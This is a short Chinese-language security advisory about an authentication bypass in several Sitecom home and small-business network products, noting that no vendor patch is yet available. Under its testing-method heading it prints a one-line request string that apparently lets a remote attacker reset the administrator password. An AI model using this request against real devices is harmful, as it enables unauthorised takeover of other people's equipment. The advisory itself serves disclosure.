发布日期：2012-09-06
更新日期：2012-09-08
受影响系统：
Sitecom Sitecom
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 55429
Sitecom是针对家庭和小型企业的计算机网络解决方案提供商。
Sitecom多款产品存在身份验证绕过漏洞，成功利用可允许远程攻击者绕过安全限制并更改管理员密码。
<*来源：Mattijs van Ommeren
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
?ChgSystemStatus&hackedSitecom&workgroup&<password>
建议：
--------------------------------------------------------------------------------
厂商补丁：
Sitecom
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：